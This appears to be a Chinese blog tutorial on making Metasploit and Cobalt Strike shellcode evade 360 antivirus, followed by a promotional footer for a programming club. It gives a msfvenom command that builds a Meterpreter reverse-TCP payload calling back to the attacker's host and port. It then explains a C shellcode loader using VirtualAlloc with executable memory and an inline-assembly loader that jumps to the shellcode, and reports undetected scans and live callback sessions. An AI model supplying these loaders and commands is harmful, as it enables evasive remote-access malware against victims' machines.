shellcode免杀(1)C语言三条指令免杀360
✉ 1
简介
描述有错的地方各位师傅海涵。
经过一下午的C语言测试,得出了十多种过360的·方法,这里拿三种c的方式过360(思路大体相同),还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。
✉ 2
免杀过程
废话就不多讲了对于初学者友好发展,先看一遍制作过程,我们准备好msf和cs的shllecode
msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt
CS生成shellcode,要用c语言的shellcode,每个语言的解析shellcode方式不同所以这里要选好语言形式。
接下来就是把这些shellcode放到源码里进行免杀上线了,接下来的三种c语言免杀都是只能过360的,火绒动态被查,但是最后的C++是两个都可以过的,先来看个正经c语言免杀
看下图,没错c语言免杀就需要这点代码,而且这是八年前的代码,如果研究免杀的朋友应该很眼熟毕竟也是传烂了,本文也主要为了解析免杀,我们来一步步分析。
从这里开始麻烦真的想学免杀的仔细阅读,这是最简单的入门,如果你看不下去就不要学了。
前三行其实就和Java,python的import一样;第四行也就是我们箭头指的这行是隐藏弹出窗口,也就是不让控制台蹦出来,至于unsignedchar指无符号类型的字符数组,这里各位理解为扩容就行了.
下边为代码主要部分,pvoid就是指针,学过c语言的朋友都知道基本都用*代替了这里方便讲解就用了本体类型
*P=null;//就是创建变量并且赋值
inta;//一样的性质,*p= null其实就是inta =0;
typedefvoid(_stdcall*CODE) //给类型起别名,也可以用指针代替原函数,我们说的简单点这里就是将_stdcall函数利用指针特性附给了我们自己起的CODE函数里,指针就是变量容器,但是指针存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里边了,但是CODE还是CODE并有自己的地址。这里各位别深究,你就当继承了就行。
这里是最主要的,我们详细来讲解一下。
VirtualAlloc,是win32的api函数,是用来申请动态内存的,动态内存我们可以通俗的理解为,主动式保护内存,可以根据我们自己决定是否存在;
打个比喻,一个苹果吃完就没有了,但是一整棵树的苹果你想吃哪个吃哪个,有的朋友可能会想这不还是能吃完么,当然了,内存又不是无限的,这个申请动态内存就是在有限的范围留出你想要的地方。
VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函数内参数(要分配的内存区域的地址,分配的大小,分配的类型, 该内存的初始保护属性)
====================================
这里的NULL是让系统自己分配内存地址;内存大小就是经典的sizeof了;
MEM_COMMIT |MEM_RESERVE:为特定的页面区域分配内存中或磁盘的页面文件中的物理内存,或保存地址而不分配物理存储,也就是保留这一个地址随时可利用;
PAGE_EXECUTE_READWRITE:可执行可读模式,可以理解为申请权限;
到了这里我们来总结这串代码具体意思:
“我申请了一块土地,土地大小是shellcode,我要用这块土地都给我腾出地,我不用这块土地但这土地就是我的-我不用你们也不准用,这土地谁都能看明白是我的并且只有我可以动”
接下来看这块,if那里就是如果没有shellcode就直接结束进程了;
memcpy函数,拷贝内存数据,和我们平时用的copy一样;
☆ p:容器,也就是要接受数据的目标数组;
☆ shellcode:复制的数据源;
☆ sizeof():复制的大小;
代码解释:把多大的code存到p指针里;
CODE=_stdcall,code=(_stdcall)p
这里要好好看,前边我们已经给stdcall改了名字叫CODE,而stdcall的作用是从右向左压栈,这里是函数详细代码解析,不会汇编的朋友跳过就行也没必要深究本质;
pushebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出时恢复mov ebp,esp 保存堆栈指针moveax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有。
ebp,cs:eip,a,b,ebp+8指向a
add eax,[ebp + 0CH] 堆栈中ebp+ 12处保存了b
mov esp,ebp 恢复esp
pop ebp
ret8
我们这里再把之前赋值给p的数据拿来
VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
从右向左,也就是先申请保护内存,可读可用,之后占用好不让别人动,大小为code大小,最后系统你看着办给我个地儿。
最后使用code();
到这我们算是把这个代码讲解完了,进行总结:
准备好调用头文件,其实和Java的依赖差不多;
▷ 把_stdcall改名为CODE,再隐藏弹窗;
▷ 将code存入shellcode数组;
▷ 创建指针变量p赋值为空方便存储;
▷ 将VirtuallAlloc函数存入p申请动态内存并保护;
▷ 如果shellcode为空则结束;
▷ 复制shellcode进p;
▷ 从右向左压栈;
▷ code()执行。
终于到了看效果的时候了,把我们的shellcode放进去并生成exe文件
来用360扫一下看看,没有报毒
msf准备好监听看看能否上线并操作,可以上线并操作
接下来看cs的
看看运行,上线
来看另外两个免杀,只需要三行指令即可免杀
这里是嵌入式汇编呼叫ShellCode,学汇编的一看就明白了,鉴于很多开始专注于web渗透的师傅们很多不了解汇编我们这里简单讲解一下
#pragmacomment(linker, "/section:.data,RWE")
VOIDmain()
{
__asm
{
mov eax,offset ShellCode
jmp eax
}
}
#pragma comment(linker,"/section:.data,RWE"),这个等于之前的VirtualAlloc;
__asm内联调用汇编语言达到不冲突可运行;
调用offset函数引用shellcode进入eax寄存器;
jmp无条件跳转进eax寄存器执行;
====================================
没错,运用汇编就是这么轻松,加上创建内联,实际只用两条指令就可以轻松过360,过多的不介绍了,看运行结果
本来是想把C++的一起发出来的,可是没想到C语言的就这么多了。
最后,若想渗透好,就别要男女朋友,对象只会影响你的大脑思考。(狗头保命)
—— END ——
【值得关注】我的 编 程 学 习 交 流 俱 乐 部 !【进入领取】
—————————————
一起学习,一起交流,不管你是转行也好,初学也罢,进阶也可,如果你想学编程,进阶程序员~
更多C语言入门资料(网盘链接免费分享):
全方位C语言书籍(PDF免费分享):